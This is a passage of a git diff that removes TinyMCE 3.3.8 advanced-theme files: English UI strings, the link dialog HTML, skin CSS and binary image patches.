70; - wWidth = document.body.clientWidth - 16; - } - - el.style.height = Math.abs(wHeight) + 'px'; - el.style.width = Math.abs(wWidth) + 'px'; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en.js deleted file mode 100644 index 69694b1..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en.js +++ /dev/null @@ -1,62 +0,0 @@ -tinyMCE.addI18n('en.advanced',{ -style_select:"Styles", -font_size:"Font size", -fontdefault:"Font family", -block:"Format", -paragraph:"Paragraph", -div:"Div", -address:"Address", -pre:"Preformatted", -h1:"Heading 1", -h2:"Heading 2", -h3:"Heading 3", -h4:"Heading 4", -h5:"Heading 5", -h6:"Heading 6", -blockquote:"Blockquote", -code:"Code", -samp:"Code sample", -dt:"Definition term ", -dd:"Definition description", -bold_desc:"Bold (Ctrl+B)", -italic_desc:"Italic (Ctrl+I)", -underline_desc:"Underline (Ctrl+U)", -striketrough_desc:"Strikethrough", -justifyleft_desc:"Align left", -justifycenter_desc:"Align center", -justifyright_desc:"Align right", -justifyfull_desc:"Align full", -bullist_desc:"Unordered list", -numlist_desc:"Ordered list", -outdent_desc:"Outdent", -indent_desc:"Indent", -undo_desc:"Undo (Ctrl+Z)", -redo_desc:"Redo (Ctrl+Y)", -link_desc:"Insert/edit link", -unlink_desc:"Unlink", -image_desc:"Insert/edit image", -cleanup_desc:"Cleanup messy code", -code_desc:"Edit HTML Source", -sub_desc:"Subscript", -sup_desc:"Superscript", -hr_desc:"Insert horizontal ruler", -removeformat_desc:"Remove formatting", -custom1_desc:"Your custom description here", -forecolor_desc:"Select text color", -backcolor_desc:"Select background color", -charmap_desc:"Insert custom character", -visualaid_desc:"Toggle guidelines/invisible elements", -anchor_desc:"Insert/edit anchor", -cut_desc:"Cut", -copy_desc:"Copy", -paste_desc:"Paste", -image_props_desc:"Image properties", -newdocument_desc:"New document", -help_desc:"Help", -blockquote_desc:"Blockquote", -clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.\r\nDo you want more information about this issue?", -path:"Path", -newdocument:"Are you sure you want clear all contents?", -toolbar_focus:"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X", -more_colors:"More colors" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js deleted file mode 100644 index 9d124d7..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js +++ /dev/null @@ -1,51 +0,0 @@ -tinyMCE.addI18n('en.advanced_dlg',{ -about_title:"About TinyMCE", -about_general:"About", -about_help:"Help", -about_license:"License", -about_plugins:"Plugins", -about_plugin:"Plugin", -about_author:"Author", -about_version:"Version", -about_loaded:"Loaded plugins", -anchor_title:"Insert/edit anchor", -anchor_name:"Anchor name", -code_title:"HTML Source Editor", -code_wordwrap:"Word wrap", -colorpicker_title:"Select a color", -colorpicker_picker_tab:"Picker", -colorpicker_picker_title:"Color picker", -colorpicker_palette_tab:"Palette", -colorpicker_palette_title:"Palette colors", -colorpicker_named_tab:"Named", -colorpicker_named_title:"Named colors", -colorpicker_color:"Color:", -colorpicker_name:"Name:", -charmap_title:"Select custom character", -image_title:"Insert/edit image", -image_src:"Image URL", -image_alt:"Image description", -image_list:"Image list", -image_border:"Border", -image_dimensions:"Dimensions", -image_vspace:"Vertical space", -image_hspace:"Horizontal space", -image_align:"Alignment", -image_align_baseline:"Baseline", -image_align_top:"Top", -image_align_middle:"Middle", -image_align_bottom:"Bottom", -image_align_texttop:"Text top", -image_align_textbottom:"Text bottom", -image_align_left:"Left", -image_align_right:"Right", -link_title:"Insert/edit link", -link_url:"Link URL", -link_target:"Target", -link_target_same:"Open link in the same window", -link_target_blank:"Open link in a new window", -link_titlefield:"Title", -link_is_email:"The URL you entered seems to be an email address, do you want to add the required mailto: prefix?", -link_is_external:"The URL you entered seems to external link, do you want to add the required http:// prefix?", -link_list:"Link list" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/link.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/link.htm deleted file mode 100644 index 7565b9a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/link.htm +++ /dev/null @@ -1,58 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.link_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="js/link.js"></script> -</head> -<body id="link" style="display: none"> -<form onsubmit="LinkDialog.update();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.link_title}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="nowrap"><label for="href">{#advanced_dlg.link_url}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="href" name="href" type="text" class="mceFocus" value="" style="width: 200px" onchange="LinkDialog.checkPrefix(this);" /></td> - <td id="hrefbrowsercontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td><label for="link_list">{#advanced_dlg.link_list}</label></td> - <td><select id="link_list" name="link_list" onchange="document.getElementById('href').value=this.options[this.selectedIndex].value;"></select></td> - </tr> - <tr> - <td><label id="targetlistlabel" for="targetlist">{#advanced_dlg.link_target}</label></td> - <td><select id="target_list" name="target_list"></select></td> - </tr> - <tr> - <td class="nowrap"><label for="linktitle">{#advanced_dlg.link_titlefield}</label></td> - <td><input id="linktitle" name="linktitle" type="text" value="" style="width: 200px" /></td> - </tr> - <tr> - <td><label for="class_list">{#class_name}</label></td> - <td><select id="class_list" name="class_list"></select></td> - </tr> - </table> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/content.css deleted file mode 100644 index 9fba043..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/content.css +++ /dev/null @@ -1,36 +0,0 @@ -body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} -body {background:#FFF;} -body.mceForceColors {background:#FFF; color:#000;} -h1 {font-size: 2em} -h2 {font-size: 1.5em} -h3 {font-size: 1.17em} -h4 {font-size: 1em} -h5 {font-size: .83em} -h6 {font-size: .75em} -.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} -a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat 0 0;} -span.mceItemNbsp {background: #DDD} -td.mceSelected, th.mceSelected {background-color:#3399ff !important} -img {border:0;} -table {cursor:default} -table td, table th {cursor:text} -ins {border-bottom:1px solid green; text-decoration: none; color:green} -del {color:red; text-decoration:line-through} -cite {border-bottom:1px dashed blue} -acronym {border-bottom:1px dotted #CCC; cursor:help} -abbr {border-bottom:1px dashed #CCC; cursor:help} - -/* IE */ -* html body { -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -} - -img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} -font[face=mceinline] {font-family:inherit !important} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/dialog.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/dialog.css deleted file mode 100644 index f012226..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/dialog.css +++ /dev/null @@ -1,117 +0,0 @@ -/* Generic */ -body { -font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDDDDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -background:#F0F0EE; -padding:0; -margin:8px 8px 0 8px; -} - -html {background:#F0F0EE;} -td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -textarea {resize:none;outline:none;} -a:link, a:visited {color:black;} -a:hover {color:#2B6FB6;} -.nowrap {white-space: nowrap} - -/* Forms */ -fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} -legend {color:#2B6FB6; font-weight:bold;} -label.msg {display:none;} -label.invalid {color:#EE0000; display:inline;} -input.invalid {border:1px solid #EE0000;} -input {background:#FFF; border:1px solid #CCC;} -input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -input, select, textarea {border:1px solid #808080;} -input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} -input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} -.input_noborder {border:0;} - -/* Buttons */ -#insert, #cancel, input.button, .updateButton { -border:0; margin:0; padding:0; -font-weight:bold; -width:94px; height:26px; -background:url(img/buttons.png) 0 -26px; -cursor:pointer; -padding-bottom:2px; -float:left; -} - -#insert {background:url(img/buttons.png) 0 -52px} -#cancel {background:url(img/buttons.png) 0 0; float:right} - -/* Browse */ -a.pickcolor, a.browse {text-decoration:none} -a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} -.mceOldBoxModel a.browse span {width:22px; height:20px;} -a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} -a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} -a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} -.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} -a.pickcolor:hover span {background-color:#B2BBD0;} -a.pickcolor:hover span.disabled {} - -/* Charmap */ -table.charmap {border:1px solid #AAA; text-align:center} -td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} -#charmap a {display:block; color:#000; text-decoration:none; border:0} -#charmap a:hover {background:#CCC;color:#2B6FB6} -#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} -#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} - -/* Source */ -.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} -.mceActionPanel {margin-top:5px;} - -/* Tabs classes */ -.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} -.tabs ul {margin:0; padding:0; list-style:none;} -.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} -.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} -.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} -.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} -.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} -.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} - -/* Panels */ -.panel_wrapper div.panel {display:none;} -.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} -.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} - -/* Columns */ -.column {float:left;} -.properties {width:100%;} -.properties .column1 {} -.properties .column2 {text-align:left;} - -/* Titles */ -h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} -h3 {font-size:14px;} -.title {font-size:12px; font-weight:bold; color:#2B6FB6;} - -/* Dialog specific */ -#link .panel_wrapper, #link div.current {height:125px;} -#image .panel_wrapper, #image div.current {height:200px;} -#plugintable thead {font-weight:bold; background:#DDD;} -#plugintable, #about #plugintable td {border:1px solid #919B9C;} -#plugintable {width:96%; margin-top:10px;} -#pluginscontainer {height:290px; overflow:auto;} -#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} -#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} -#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} -#colorpicker #light div {overflow:hidden;} -#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} -#colorpicker .panel_wrapper div.current {height:175px;} -#colorpicker #namedcolors {width:150px;} -#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} -#colorpicker #colornamecontainer {margin-top:5px;} -#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/buttons.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/buttons.png deleted file mode 100644 index 7dd58418ba7cfe58ae7efdf174e0b223fe3aa6a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3274 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 IM6N<$f-S7efB*mh diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/items.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/items.gif deleted file mode 100644 index 2eafd7954e6ebf24204b01db94b39299426d09da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 70 zcmZ?wbhEHb<YwSzn8*ME|3Tmk5G(#<VPs%nX3znNg5({T#9MmG)lT2O)m+%L<jU2W QWB(Hum`qCgDav3C08tAXbN~PV diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif deleted file mode 100644 index 85e31dfb2d0454de352d87fe95f7003f22c87992..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 68 zcmZ?wbhEHb6k!lyXkcUjg8%>jEB<5wG8q|kKzxu41Cw-5|H{*E`4`XOxxoD9Y}F^Z SLTQbO*E^TJI;F+RU=09Vu@yA{ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_check.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_check.gif deleted file mode 100644 index adfdddccd7cac62a17d68873fa53c248bff8351a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 70 zcmZ?wbhEHb6k!lyXkcUjg8%>jEB<5wG8q|kKzxu41Cwk||H{*E`4`XG(j;}D)%x|1 U%)82UlRJ8EoZ9xTT7<zG0H3rM{r~^~ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/progress.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/progress.gif deleted file mode 100644 index 5bb90fd6a49107a321c35b9cee4a7b810314b51f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1787 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 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/tabs.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/tabs.gif deleted file mode 100644 index ce4be63558b02e9837b995d2b9dd540ce6d61a6f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1326 zcmV+}1=0FPNk%w1VJrb!0M!5h00030|Ns2_{xV8plA^M<#LbbXwB+gR<LT_}@$;dx zyQ#Uq<LT>>o1FUl`^eGF(ALoK@apvR@ALES^78HR@$B&M>-P5Y_4V=e^zifZ@AC5Q z@$v2U_Ve}i^85Sw`1tnr_VoSz{QUg;`uh3!`1kSe-|p?^>+0k0?&$36<?-<A@bBv7 z;@aor-RtP#=HuPz=HTe%-}CYA_Vn`p{{H;@{QCO(|Ns9000000000000000000000 z00000A^8LW001}uEC2ui04xDo000L6KoewPC>oE*q;kn@I-k&}bV{vSuh^^>3n?4| z;IMd1E}PHjw0g~MyWjA*d`_>=7l@jE&+q&HfPsR8goTEOh>41ejE#<ujs_wkHY1jo 